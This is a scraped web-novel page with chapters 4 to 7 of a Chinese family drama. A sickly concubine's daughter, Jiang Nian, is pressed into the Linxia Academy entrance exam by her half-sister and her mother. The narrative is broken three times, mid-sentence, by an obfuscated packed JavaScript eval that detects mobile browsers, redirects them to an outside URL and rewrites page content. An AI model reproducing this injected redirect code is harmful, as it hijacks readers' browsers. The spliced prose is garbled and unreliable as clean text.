江维鸾带着惊讶看着她。眼前的少女苍白到近乎透明，可眼是清的眉是远的，挺拔的鼻子承托起柔软的五官，憔悴中意外的清艳。这还是从前那个沉默木讷、总是低着头跟在江筠身后的小丫头吗？心里突然就有点不快，原本想问问她的病，此时只冷冰冰说道：“过两天我要考林下书院，你跟我一起。” 江念怔了下。 4. 第 4 章 自己不是读书的料子，这点江念一直都知道。 小时候父亲给二姐开蒙，捎带着也教她，念诗二姐一遍就会，她要三四遍，写字二姐几天就能有模有样，她到最后还被父亲点评说筋骨不佳。唯一能和二姐相比的是画，可父亲说，学画必要先学字，字不好，题款拿不出手，如何做画？ 因着这些，张姨娘总说她不是读书的料子，还是学些手艺实用。她跟着张姨娘学会了裁衣、刺绣，乃至编织、烹饪，因为学会了这些，自然要花时间做活，补贴家用，读书就越发及不上二姐了。 所以昨夜二姐让她考书院时，也再三交代必要好好温习几个月才行，如今长姐却要她立刻就考，如何能行？江念推辞道：“我功课不行，不敢跟姐姐一起。” “让你去你就去，推三阻四做什么？”江维鸾沉着脸，“我这就去告诉母亲。” 她不容分说，转身就走，江念叫了一声没叫住，隔着窗子，见她一径往正房去了。 柳氏最疼的就是长姐，必定会答应的。江念沉默地望着。 她猜得出长姐为什么非要拉她一起。长姐是怕考不上，想找个垫背的。 林下书院蜚声内外，与“天下才女尽归林下”的美誉齐名的，是书院严苛到极致的入学试，百人之中未必能录取一两个，哪怕是皇亲国戚，也绝不通融。三姐妹中她功课最差，肯定考不上，长姐拉她一起，考上了，荣耀加倍，考不上，反正也有她垫底。 至于她愿不愿意，从来都不是什么要紧的事。 “做什么呢？”门开了，张姨娘提着一罐冰糖炖梨走了进来，“我听你还是咳嗽，炖了点梨给你润润。” 江念回过神来，心里一暖：“谢谢娘。” “快吃吧，今年冰糖贵，三十个钱一包呢，这一罐得十几个钱了。”张姨娘盛了一碗给她，一低头，看见了桌上的通草牡丹，“这都什么时节了，怎么还有牡丹花？” 伸手拿起，这才发现是假花，又是一惊：“阿弥陀佛，这东西跟真的一模一样，好厉害的活计！你从哪儿弄来的？” “临走时周姐姐送给我的，”江念道，“叫做通草花，说是南边的稀罕东西，北边都还没有。” “这做工，这鲜亮劲儿，晃一下花瓣还颤微微的，阿弥陀佛，值不少钱吧？”张姨娘翻来覆去看着，爱不释手，“这要是做成簪子戴着，比大姑娘那支金凤钗也不差什么。” 余光瞥见锦盒里还有一支，连忙拿在手里，却是支荷花，同样活灵活现跟真的一样，张姨娘舍不得放下，忽地想到江筠近来正在说亲，这样鲜亮别致的首饰，正好是缺的。 江念并不知道张姨娘的心思。她刺绣裁剪的手艺都是跟张姨娘学的，此时便想着一起研究这花的做法，起身取出盒子里的通草纸：“周姐姐还给了这个通草纸，说这花是用这纸做出来的，她也不知道怎么做，让我有空时琢磨琢磨，试着做做。” “行，你好好琢磨琢磨，你读书不行，弄这些还机灵些。”张姨娘一手拿着通草花，一手拿起通草纸，想不通这干巴巴的纸片子怎么会变成这么一朵活灵活现的花，“奇了怪了，到底怎么做的？跟真的一模一样。” 想说这花如此稀罕，不如给江筠，忽地听见江念问道：“娘，现在是不是不能做绣活卖了？” “对，太太定了规矩，你们的针线不准传到外头，更不准卖，说是有失身份。”张姨娘道。 江念无声叹了口气。太太发了话，必是父亲也同意的，这条路彻底断了。只是她很怕，怕没有钱，怕被留在孤山，孤零零一个，不知道能不能活到明天。 吱呀一声，张姨娘关了门，江念抬头，她带着热切，低着声音：“早盼着你回来了！” 江念心里一暖，这样真切思念的话，张姨娘极少对她说过。欢喜刚到眼底，又被张姨娘打断：“你不知道，我都快累死了！自打回了京城，钱没多几个，活多了几倍，太太舍不得雇人，又要学大家子的讲究，衣服要勤做勤换，吃饭要每天不重样，还要给老太太孝敬点心吃食！如今一家子六七口的衣服鞋袜，一天三顿饭外加点心宵夜，全是我一个人张罗，累得我腰酸背痛，早盼着你回来了！好歹你能给我搭把手。前儿太太让给你大姐裁衣裳呢，我忙得没空，回头你做吧，反正你闲着也是闲着。” 嘴里的梨发着苦，江念咳嗽着，半晌说不出话。有那么一刹那，她真的以为，娘是想她。“大姐让我跟她一起考书院，我得抽时间温习。” “阿弥陀佛，她还要考？”张姨娘一拍大腿，“又不是真心想读书，何苦来！” 江念抬眼：“怎么说？” “她是为了说亲。”张姨娘撇嘴，“谁不知道林下书院个个都是才女？那些大户人家有好些都从书院里挑媳妇，她看得眼热，也想进去混个才女当当，说亲时抬抬身份。春上考了一回，她没考上，你姐考上了，气得她闹了好几回，这还是不死心，又来拉扯你。” 江念沉默着，想起昨夜黑暗中江筠低低的语声：只要我能读出来，必定能嫁个万中无一的夫婿。 “明知道你考不上，这不是拉你垫背，让你出丑嘛！”张姨娘道，“你可不能由着她揉搓，有这功夫，还不如帮我干活。” 门敲了两下，丫鬟在外面回禀：“三姑娘，太太叫你过去一趟。” “肯定是说这事，”张姨娘拉起江念，“走，我跟你一起去，咱可不能答应。” 正房。 柳氏有些疑惑：“书院不是只有春天招考吗，怎么现在又考？” “今年破例加招一次，昨天刘四娘说的，她也要去考。”江维鸾道，“你跟江念说，让她也去。” 柳氏猜得出她的心思，忍不住劝道：“你三妹肯定考不上，她还病着，你何苦拉扯她？” “我怎么拉扯她了？我都是为了她好，她什么都不行，去考考也能见见世面。”江维鸾绷着脸，“怎么，我就得起早贪黑读书，她就能推病什么都不干？凭什么！” “你这孩子，”柳氏叹气，“觉得辛苦就别考了，又没人逼你，何苦跟自己较劲。” “我偏要考！凭什么不让我考？娘也觉得我考不上？”江维鸾冷笑，“天底下难道就只有江筠聪明，就只有她能考上？” 柳氏知道这是她最大的心病，心疼着，连忙服软：“好了好了，都依你，你想让你三妹一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780659|157955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起，那就一起吧。” 帘外一声轻咳，桂妈妈低声提醒：“三姑娘来了。” 江维鸾抬眼，看见江念跟在张姨娘身后走了进来。脑中莫名跳出一句话：如花照水，如柳扶风。从来自负美貌，此时却不得不承认，这个最不起眼的妹妹，容貌其实与她不相上下。 刚刚和缓的心情瞬间又成不平，江维鸾快步走进里间，砰一声甩上门。 响声让所有人都吃了一惊，江念步子一顿，抬眼，对上柳氏略有几分尴尬的脸：“给太太请安。” “坐吧。”柳氏拉她在身边坐下，心里歉疚，说话便刻意委婉着，“过几天你大姐姐要考林下书院，我想了想，不如你也去试试吧，以后你们姊妹三个一起读书上学，正好做个伴。” “太太一片好心，可惜三姑娘读书不行，肯定考不上，”张姨娘抢在头里答道，“她又病着，老爷肯定也不答应。” 柳氏顿了顿。若是捅到江士元面前，他必然猜得出江维鸾的意图，再加上张姨娘煽风点火，事情就不好办了。“林下书院以往都只有春天招考，这次秋招是破例，千载难逢的机会，你不为别的，也得为三丫头的前途想想，她都十五了。” 张姨娘心里一凛。十五及笄，正是议亲的年纪，江念的亲事固然要柳氏张罗，但她更担心的是江筠。先前就是防着柳氏动手脚，所以她偷偷求了江士元给江筠相看，但柳氏是嫡母，万一因为这事记了仇从中作梗，江筠的婚事就危险了。犹豫着，试探说道：“太太的好意原该听的，不过三姑娘读书不行，肯定考不上，家里活又多，我还想着让她帮我干干家务呢。” 这是想谈条件？柳氏看她一眼，心中鄙夷：“以后大姐儿的衣服不用你做。” 张姨娘心中一喜，事已至此，索性再争些好处：“阿弥陀佛，谢太太体恤！还有件事要禀报太太，胤哥儿如今大了，爱俏，这几回我做的衣裳都不合他的心，是不是请个外头的裁缝给他做？” 两个人你一言我一语讨价还价，江念沉默地听着。 张姨娘变卦了，她看得出来。也许是不敢触怒柳氏，也许是权衡之后，觉得这样好处更多。 至于她愿不愿意，已经无关紧要了。 她从来都是被放弃的那个。春天一家人离开孤山时，她昏昏沉沉躺着，头疼，肚子疼，每个骨头缝里都是疼，清醒与昏迷之间，听见柳氏在哭，张姨娘也在哭。 哭着说舍不下她，但一大家子要照应，长姐要议亲，四弟要考童生试，二姐要人照顾，她们有太多理由，不得不走。 哭着，说着，嘈嘈杂杂，到最后声音消失了，所有人都走了，只剩下她一个，孤零零在病榻。 “三丫头，”柳氏在问，“想好了吗，考不考？” “考嘛！”张姨娘在笑，“太太都是为了你好，还不快谢谢太太。” 江念默默起身。 明明有这么多人，其实也只是她孤零零一个。 明明都说为她好，其实，总有更重要的人、事。 “我听母亲的，”向着柳氏福身一礼，“考。” 她花费整整十五年光阴，终于看清了，自己的处境。 5. 第 5 章 午时刚到，江士元出了衙门，骑着小毛驴往家里赶。 江念回来两天，他太忙，父女俩连说话的功夫都没有。早上出门时柳氏交代过，江筠也央求过，都要他早点回来，好歹一家子吃顿饭。江家的晚饭固定是要跟江老太太一起吃的，老太太既然不肯见江念，也只能赶着午饭的时候了。 快到家时一抬头，望见门前几匹高头大马，又有几个锦袍玉冠的年轻男子，其中一个白净面皮、中等身量正跟人拱手道别的，不是儿子江维胤又是谁？江士元突然想起从昨晚到今早都不曾见过他，忙问随从刘安：“老四昨晚是不是没回家？” 府门前。 江维胤正说着话，一抬头望见了江士元，心里陡然一凉，拔腿就往门里跑：“沈兄，韩兄，我爹回来了，我先走一步！” 好友韩尚知道他家里管得严，他最怕的就是父亲，哈哈一笑：“你慢点，别摔了，记得明天去兰湖文会！” 江维胤一个箭步跳进门。火烧眉毛了，还顾什么文会。昨天就是去赴文会，吃醉了倒在韩家睡到现在，父亲从不许他无故外宿，若是让父亲发现了，包管要脱一层皮。飞快地往里跑着，怕来不及，先吩咐书童久安：“快去找太太，就说我昨晚在家睡的！” 路口。 刘安堆着笑，装着糊涂：“昨晚小的服侍完老爷就去睡了，少爷的情形没留神。” 江士元横他一眼，支支吾吾，多半有鬼。加上一鞭往门前跑，方才与江维胤说话的两个年轻人已经走了，腰间锦带明光耀眼，□□五花马溜光水滑，分明都是纨绔，江维胤怎么跟这些人搅在了一起？ 一跃跳下驴，三两步追上去，前面江维胤飞跑着刚进穿堂，江士元高喝一声：“江维胤，站住！” 江维胤只装作没听见，埋着头只管往主院去，身后喊声越来越急：“逆子，站住！” 听声音显然已经发怒，江维胤不得不站住，江士元很快追了上来：“刚才那些人是谁？打扮得花里胡哨的，你从哪里认识的纨绔？” “他们不是纨绔，”江维胤分辩着，“一个是御史府的韩尚，一个是建安侯府的沈豫，都是儿子的同窗好友。” 韩尚怎么样江士元不知道，但他知道沈豫，建安侯府嫡次子，文武双全，京中最出色的儿郎之一。勋贵人家豪富，穿戴上难免讲究些，不过总归是读书上进的人，可以结交。脸色稍稍缓和了点：“昨晚你是不是没回家？” “我，”江维胤想扯谎，但在他积威之下，突然之间便开始结巴，“我……” “昨晚在家呢，”柳氏急匆匆赶来，替他答上了后半句，“后半夜回来的，老爷已经睡了，我就没让他过去问安。” 江维胤松一口气，母亲来了，今天这一劫大约是混过去了，大着胆子附和：“是，儿子后半夜回来的。” 江士元并不信：“今早怎么不来问安？” “一大早出去赴文会了。”柳氏又道。 “对对对，”江维胤抢着道，“跟韩尚和沈豫一起在韩家作诗，不信父亲去问韩尚。” 江韩两家并无来往，再说也没有为了这点子小事跑去御史府问的，这个谎一辈子也拆不穿。 江士元沉着脸，看看他又看看柳氏，冷哼一声：“以后一更之前必须到家，再敢擅自晚归，仔细你的皮！” “是！”江维胤松一口气，这一声答得又响又脆。 “去吧，换身衣裳，马上该吃饭了，”柳氏打着眼色示意他退下，她则不动声色上前一步，挡住了江士元的视线，“有件事要跟老爷说。” 江维胤连忙撤身往自己院里跑，听见身后轻言细语，柳氏在跟江士元说话：“过两天林下书院秋招，大姐儿要去考，我想着不如让三丫头也试试，好歹开开眼界，涨涨阅历。” “三丫头？”江士元意外着，“她能行吗？” 招考的事江维胤也知道，消息今天刚公布，回来的路上沈豫还跟他谈起。林下书院名头响亮，每次招考整个京城无人不关注，更何况这是破天荒的头一次秋招。江维鸾已经温习了大半年，还时常请名师开小灶，应该十拿九稳，至于江念嘛。江维胤轻笑一声，若他是家里第二个不会读书的，那么三姐准是第一个，这下可有的热闹看喽。 西厢。 “要是你爹问起来，你就说是自己想考，别攀扯别的。”张姨娘低声交待着，“都是为你好，万一考上了，说不定还能说门好亲事。” 脸颊发着热，江念于羞耻中，生出从未有过的不平。是为她好吗？假如柳氏不曾免了那么多活计，姨娘还会同意吗？ “廿廿，”门开了，江筠飞快地走进来，“你要去考试？是不是大姐的主意？” 她散学回来听说这事，立刻急了：“千万别去！你病了大半年都没看书，进度落下太多，考试时夫子们会当面提问，万一印象不好，下次考试就麻烦了！” 江念看见她因为着急飞红的脸庞，横亘在心头的阴霾消散了大半。无论别人如何，总还有二姐，真真切切关切着她。“没事，我已经答应了姨娘。” 江筠疑惑着，不明白为什么不是答应了柳氏，而是答应了张姨娘：“别怕，要是大姐逼你，我去跟阿爹说。” 不，不是长姐，长姐逼她，她总还能推拒，但现在逼她的，是她的生身母亲。她是如此微不足道，一丁点蝇头小利，已足够母亲舍弃她。江念摇摇头：“姐，我愿意考。” “真的？”江筠有些意外。 “真的。”心里似有火焰，一点点灼烧，放大。这火焰从半年前点燃，从那些孤独恐惧，在生死之间独自挣扎中的时候生出，在归家后的期待与一次次落空中，灼烧放大，将她自己，慢慢烧成另一个人，“姐，我底子太差，你帮我温习吧。” 活到十五岁，她一直被人推着挤着，走别人为她安排的路。但这一次，她想为自己，好好找找以后的路。 午饭过后，西厢的小厅里摆好桌椅，设下笔墨，江筠权作教师，为江念讲解入学试相关事宜。 江维鸾也来了，她虽不服江筠，但春招时一百多个考生里江筠名列第一，实打实的真本事，她怕不过来听，江筠把诀窍全教给了江念，她就吃了大亏。 她拣了居中的位置坐下，江念便坐在边上，拿一个夹花样的纸簿，记录江筠的讲解。 江筠坐在上首，回忆着书院中夫子们素日授课的模样，心里莫名有些激荡。读书原是她真心喜爱，一拿起书本万虑皆消，可这半年多为着出人头地，为着给自己挣一份高嫁的本钱，心里想得太多，自己也常常觉得迷茫，此时看着江念乌黑的眸子里闪着认真渴望的光，江筠突然觉得，能不能高嫁或者并没有那么重要，做一个教书育人的夫子，做自己喜爱的事，是不是已足够幸运？ 定定神，开了口：“既是为了考试，那么我便先讲考什么。书院课程十几门，学生可按着兴趣自选，但经义、诗赋两科乃是所有学生必读之课，所以这入学试也按着课程来设，共考三科，一科经义，考五经原文、注疏①；一科诗赋，命题限韵，或五律，或七律；第三科自选。” 她细细讲解各科的考点和题型，江维鸾很快失去了耐心。原以为她会直接讲这次要考的内容，哪知竟啰里啰嗦，从头讲起。多半是有心藏奸，不想让她考上。霍地站起身，江筠下意识地停住：“大姐，怎么了？” “这些我都知道，不消你讲。”江维鸾横她一眼，“等你肯讲有用的东西，我再过来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江念心中一动。她跟周一娘学过记账，算筹、珠算都能来得，加减乘除都能做。正要说话，江筠道：“但算学到底不入流，非是闺秀们适宜，你还是选画吧，既雅致，你底子也还行。” 画，江念是喜爱的，刺绣也需要画功底子，但父亲总说她字不好，画便也成不了大家，是以她对此并不自信。犹豫着：“好。” “廿廿，勉力，”江筠握住她的手，明知道机会不大，依旧为她鼓劲，“我在书院等你。” 那双手温暖、柔软，让人于必败的预料中，生出破釜沉舟的勇气。江念重重点头：“好！” 这天江念苦读数个时辰，入夜躺在床上时，犹自反复思量、筹划。 江筠要她重点背诵注疏，但注疏数量多内容深奥，经常原文一两个字，就要用七八本书来注疏，时间如此紧张，倒不如舍弃注疏，只背原文，确保这部分分数能拿到。 至于绘画，江筠要她多临摹名家画作，但画技并非一朝一夕所能提高，父亲常说她字写得差，大大拉低画的价值，而字，短时间尚有希望加强，那就不如把精力放在练习题跋②上。 惶惑的心一点点安静下来，在黑暗中紧紧攥着拳。她多半是考不上的，前路如何，此时还在迷雾之中，但她会竭尽全力，绝不让自己后悔。 接下来几天江念早起晚睡，昼夜苦读，江筠找来了往年的试题，每天督促她练习，做完后又必细细讲解分析，时间过得飞快，眨眼到了九月末，离入学试的十月初二日，只剩下三天。 这天夜里，江念等着江筠出题作诗，江筠却只是闷闷的不说话，江念忍不住问道：“姐，怎么了？” 江筠回头看她，半晌：“可怜的廿廿。” 她黑黝黝的眸子带着怜悯，江念不安着，听见江筠叹息的语声：“听说这次秋招，有问题。” 6. 第 6 章 这次秋招来得古怪，江筠一直有这个感觉。 事先毫无动静，突然便要招考，亦且从宣布到考试只有十天时间，怎么看都觉得仓促。和她有同样看法的人不少，所以近来书院里沸沸扬扬，都在议论这事。 也就因此江筠听得一个说法，书院新建的藏书馆和一馆珍贵典籍，俱都是某个贵人捐赠，那贵人只有一个要求，要自己的女儿入学。林下书院从无不经考试便能入学的先例，于是便有了这次古怪的秋招。 江筠看着江念，她似乎比前几天更瘦了，连日熬夜，眼底下淡淡的青色。心里涌起强烈的怜惜和愤怒，妹妹如此辛苦，都只为这次考试，可名额有限，若已有了内定的，妹妹还能有多少机会？“廿廿，这才秋招，可能有内定的人。” 手中的书突然变成千钧重量，江念沉默着，半晌：“姐姐听谁说的，确切吗？” “曹姐姐跟我说的，”户部曹侍郎的女儿曹谌，她在书院的好友，曹家世居京城，消息灵通，她也曾追问那内定的人是谁，但消息捂得严实，连曹谌也不知道。江筠叹息着，又安慰妹妹，“也许只是谣传。” 谣传么？若真是谣传，姐姐也不会如此忧心。江念定定神：“没事的，又不止招录一个，我好好温习，应该还有机会。” 江筠心里沉甸甸的。这次秋招时间仓促，许多人或不知情，或来不及准备，报名的听说只有二十多个。往年春招报名一两百，招录最多只有十数个，二十多人的话，很可能只招一两个。但又怎么跟妹妹说？强打精神安慰道：“好，你好好温习，还有机会。” 心里拿定了主意，若是那人公公正正凭本事考进来也就罢了，若是学识不行，全靠关系，她必要追究到底，给妹妹讨个说法！ 油灯的光焰摇了摇，半夏挑帘进来：“姑娘，天冷了，厚衣服都还没有，须得禀报太太再做些。” 回京时为了凑盘缠，冬天的厚衣服差不多都卖了，只留了两件小袄。江念点点头：“去吧。” 帘子落下来，半夏走了，江念拿着书，脑中纷纷乱乱，半天也看不进去一个字。这样子，便是坐一晚上，又有什么用呢？放下书：“姐，我今晚想歇歇，可以吗？” “这……”江筠想说越到这时候越是要咬牙坚持，看着她心事重重的模样，终是点了头，“好，你歇歇吧。” 正屋。 王妈妈低声回禀：“三姑娘每晚都在二姑娘房里睡，熄了灯老半天还咕咕哝哝，都在讲书院的事。两个人还写诗画画，还说书院有什么算数，要三姑娘练练。对了，二姑娘还弄了个本本，说是往年的题，给三姑娘圈圈划划的，让她看什么衣镜。” 衣镜？柳氏再没听说过有这本书，想了半天突然反应过来，又好气又好笑：“那是《易经》，你这糊涂行子，什么都不懂。” 王妈妈老脸一红，怕人笑话，赶紧又说了下去：“三姑娘还写字呢，满满几大张纸，我不认字，也不知道写的都是什么，要么太太去看看？” “写的是题跋落款，”桂妈妈白日里借着送阿胶过去看了一眼，她自小跟着柳氏，识文断字不在话下，“自选那科二姑娘要三姑娘画画，应当是为那个准备的。” 柳氏点点头。这些天王妈妈一天几趟来汇报江念那边的动静，本来她颇是瞧不上，但又怕江筠藏奸，有内幕消息不告诉江维鸾，便也默许了。从王妈妈说的来看，江筠倒还好，往年的试题、给江念圈的重点，也都同样给了江维鸾，重点要读《易经》这事也说了。“还有什么？” “今儿二姑娘好像不大高兴，”王妈妈一心讨好，搜肠刮肚想着，“散学回来就不怎么说话……” “太太，”门外叫了一声，“奴婢有事讨太太的示下。” 是半夏，柳氏吃了一惊，桂妈妈连忙掀帘子一看，原本守门的丫鬟不知道去了哪里，半夏在台阶底下站着，方才的话也不知道她听见了没有？思忖着问道：“什么事？” “三姑娘的厚衣裳回来时都卖了攒盘缠，天冷了没得添换，”半夏在阶下仰面，“请示太太，要不要再做些。” “进来回话。”屋里柳氏已经听见了，应了一声。 半夏连忙进屋，柳氏皱眉问道：“回来时老爷不是给了十五两银子盘缠吗，怎么又卖衣服？” “那半年里单是医药费就花了五十八两六钱八分，老爷太太给的钱都用光了，后面一直都是赊账，”半夏看了眼王妈妈，“三姑娘说要走了，得把账还清，所以卖了衣服。” 柳氏怔了下，恍惚想起那时候江念来信，的确提过钱不够用，但他们刚回京城，宅子要翻修，衣服鞋袜要换新，丫鬟仆役要雇，骡马车子也要买，手头实在窘迫，江念要两三回，大约也只能给上一回。她的确没细算过江念手里还剩多少。心里说不出什么滋味，半晌：“知道了，你下去吧。” 半夏猜不出她是答应了还是没答应，也只得退出去，想起方才隐隐约约听见的言语，低着头飞快地走了。 屋里，柳氏摆手命王妈妈也退下，喉咙一下子哽住了：“把那疋潞绸找出来，给三丫头做冬衣，都怪我，我竟不知道她过得那么苦！” “太太快别这么说，六月里寄回去那十两银子，还是太太当了陪嫁的镯子给的，这半年三姑娘的花销，差不多都是太太的体己。”桂妈妈低声劝着，“家里前些年艰难些，不过老爷既然起复了，以后三姑娘也就不用愁了。” 柳氏叹着气：“指望他？他那点俸禄还不够孝敬西院的。这些年我填进去了多少？嫁妆还剩下几个？我算是想明白了，什么寒门贵子，中看不中用！” 想当初家里也是看中江士元年轻进士，不顾江家贫寒，将她下嫁。这些年里江士元官场沉浮，她跟着受尽贫贱之苦，期间种种琐碎龌龊，生生将昔日心高气傲的大小姐，变成锱铢必较的妇人：“还是得找家底厚的，大姐儿跟三丫头的婚事，无论如何都不要这些小门小户。” 桂妈妈忙道：“刘家是七八辈子的官宦之家，太太放心吧，大姐儿肯定不会受委屈。” “我愁的是三丫头，问了这许多天，没一个合适的，不是挑嫡庶，就是挑人物。”江维鸾还好，回京三年，借着柳家的人脉进了京城贵女的圈子，况且也正在相看刘家。江筠虽然回来没多久，但考进书院时大大出了风头，也不愁嫁。唯有江念，出身既不占优势，又在乡下待了太久，才学教养都差。柳氏发着愁，“要是这回能考上，兴许还能好找点。” 可江念，又不像是能考上的。这可怎么办？ 西厢。 丝线穿进穿出，嗤嗤的轻响，江念在灯下绣着荷包。 是回京路上开始绣的，想着多做几件，回头卖了，攒点体己。哪知回来后种种情形与预想全不相同，一步一步，走到如今。 虽然知道这次考试是必输之局，但她总以为，这是场公平的较量。 世间有那么多生而不公之事。嫡的，庶的。聪明的，愚鲁的。偏爱的，无人在意的。她自知不可能考上，所求者，无非是公公平平较量一场，却原来连考试，也有高低贵贱之分。 在家里，她给长姐垫背，到外面，难道还要给那内定之人垫背？ 手指上一疼，针扎到了，江念轻嘶一声，半夏恰在这时候进来，连忙上前查看：“姑娘，要不要紧？” “没事。”血珠子圆成一点，江念胡乱吮了下，丢下荷包。 是她奢望了。其实何曾有过公平？譬如这绣活，长姐从不肯做，二姐要念书没时间做，唯独她从小就得做。她从不曾怨过二姐，但对父母、姨娘，又怎能心无芥蒂。毕竟，同样都是女儿啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780661|157955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 此时再没有心思做活，打开箱子，取出那支通草牡丹。 往日里做会儿针线，心绪总能安静些，今日却并不管用。这些天昼夜苦读，连自身的窘迫都几乎忘了，如今冬衣未做，冬靴也都是旧的，天冷时，该怎么办？家里不准她卖绣品挣钱，但通草花并不在绣品之列，若是能做出来，或者，也是一条路子？ 对着灯细看，花瓣轻薄半透，深红浅红之间笔触圆融，这颜色，是后染上去的。每朵花瓣色彩浓淡都不相同，应该是做成花型后，再根据位置、大小等等斟酌上色。可那个通草纸。 捏在指间轻轻搓了下，秋日干燥，那纸脆得透了，无声无息，断一小片。江念一阵心痛，总共就六张，比巴掌大不了多少，经不起这样损耗。轻着手劲对光看着、摸着，比竹纸薄，比宣纸厚，脆得很，稍稍一碰就断，可牡丹花瓣却蜷曲微皱，是如何做到的？ “姑娘，”听见半夏极低的语声，江念抬眼，她凑得很近，“方才王妈妈也在太太那里，我恍惚听见她在说姑娘跟二姑娘的事。” 王妈妈在监视她。江念心中一凛，抗拒之余，慢慢地，竟生出羡慕。 柳氏是为了江维鸾。似乎每个人，都有为自己全心全力的母亲。轻轻握了下半夏的手：“我知道了，谢谢你。” 取出镊子，循着牡丹花托与花瓣连接处，小心拆下。看见浆糊的痕迹，花托是粘上去的，花瓣也是，如此美丽的花，拆开了，也无非一地琐碎。 恰如她的人生。也许世间之事，大抵都是如此。 激愤渐渐散去，于疲惫中，生出执着。从前她老老实实，按着家里每个人的要求去走每一步，这次考试，却是她被安排之下，头一次生出自己的意愿。结果如何，又何必太在意？她努力了，她生平第一次为了自己想做的事努力，她已经很了不起。 勉力！在心里默默为自己鼓劲，江念定定神，低声叮嘱半夏：“你这些天到街上看看，有没有哪里卖通草花，价钱几何。” 眨眼便是十月初二。 江念一大早起来，正对镜梳妆，张姨娘来了：“你那朵牡丹呢？” 江念想了下，才反应过来她是说那支通草花，张姨娘带着急切：“给你二姐戴吧，她首饰太少了，年轻姑娘家，太素净了不好。” 听说今天许多人都要去书院看热闹，让江筠戴上这朵稀罕的花露露脸，对亲事肯定有好处。 江念沉默着，看见镜台前打开的首饰盒。一支二两重的银钗，是她最贵重的首饰，剩下便只有两三支琉璃簪、琉璃坠子，一对银丁香。若论首饰少，三姐妹中，还有谁比她更少。 起身取出锦盒，张姨娘打开来一看，惊叫起来：“怎么破了，怎么回事？” “拆开看看怎么做的。”江念淡淡道。 “阿弥陀佛，真是糟蹋东西！”张姨娘懊恼着，花托拆掉了，叶片和花蕊也拆了，无论如何没法再戴。拿起那支荷花，“也只好这个了。” 她拿着花急急忙忙走了，江念对着镜子，慢慢将银钗插上发髻。 那荷花，她原也准备给江筠，觉得比牡丹更合衬。之所以没给，是想弄清楚了怎么做再说，没想到张姨娘竟如此等不及。 人人都有对自己全心全力的母亲。除了她。 半个时辰后。 车子在书院门前停住，江念跟在江筠身后，移步下车。 对面的茶楼上，韩尚从窗边探头：“瞧，江四一家子也来了，跟他一起扶着江夫人的是他大姐，后面那个戴荷花的是她二姐，林下书院有名的才女，今年春天招考，一百多人里她诗、书、画全都拿了第一。” 听见沈豫低低的语声：“她旁边那个穿绿色，比她高的，是谁？” 楼下，江念总觉得有人在看自己，抬眼。 7. 第 7 章 人越来越多，赴考的，送考的，看热闹的，将门前堵得水泄不通，江念低着头，拣着缝隙向大门走去。 被人盯着的感觉还在，但人太多了，此时也难以细查，况且到处都是看热闹的，便是有人看她，也不足为奇。 “去吧，”江筠一直送到门前，低声叮嘱，“我在外面等你。” 心里突然慌张，江念紧紧攥住她：“姐。” 茶楼上。 韩尚猜测着：“是江四的三姐吧，刚从乡下回来那个。” 沈豫向窗后掩住身形：“打扮得好生素净。” 衣衫半新不旧，头上只插着一支银钗，夹在一众衣香鬓影的贵女们中间委实有些寒酸，江家这么穷吗？可江家那姐弟三个，打扮都比她华贵得多。 “在乡下待了那么多年，听江四说念书也不行，”韩尚笑道，“上不得台面也正常。” 沈豫想说自己并不是那个意思，到底只笑了下，没有说话。 楼下。 “廿廿，不怕。”江筠看出江念的紧张，轻轻抚她的脸，“不要管结果，只要尽最大努力，别让自己后悔就好。” 门内响起悠扬的钟声，催促考生进场，擂鼓般的心跳一点点舒缓，江念长长吐一口气。尽最大努力，不后悔就好。松开江筠：“好。” 边上人影一晃，江维鸾与柳氏作别后，当先进门。江念跟着迈过门槛，回头，江筠还守在门外，红唇微启，无声向她道：“努力。” 江念默默在心中回应，回头，快步跟上江维鸾。 钟鸣三遍，最后一个考生入场，吱呀一声，大门自内关闭。 “去茶楼里等吧，”柳氏目送着江维鸾消失在门内，看了眼江筠，“你头上这花挺别致的。” 仆妇簇拥着往茶楼里走，江筠道：“姨娘给的。” 张姨娘竟有这好东西？柳氏忍不住又看了一眼，花瓣迎风微动，早起她乍一看还以为是真荷花，江维鸾也看了好几眼，虽然不曾说什么，但她做母亲的看得出来，女儿很喜欢。“是什么花，哪里买的？” “通草花，哪里买的我也不知道，”江筠满心里惦记着江念，随口道，“早起姨娘给的，那会子着急走，没细问。” 耳边倏忽一阵嘈杂，她们进了茶楼，大堂、楼上，甚至楼梯跟前全都挤满了看热闹的闲人，先前派来订座的小厮从人缝里挤过来：“太太，客满了，小的找了老半天也没找到座位。” 江筠微微蹙眉，附近除了这茶楼，再没有可以歇脚的地方，三科考完至少两个时辰，难道要去露天地里等着？正自焦急时，楼上突然有人叫了声：“维胤！” 一个着惨绿袍的年轻男子快步下来，向着柳氏一躬身：“江夫人，晚辈在楼上定了个雅间，若是不嫌弃的话，不妨暂歇片刻。” 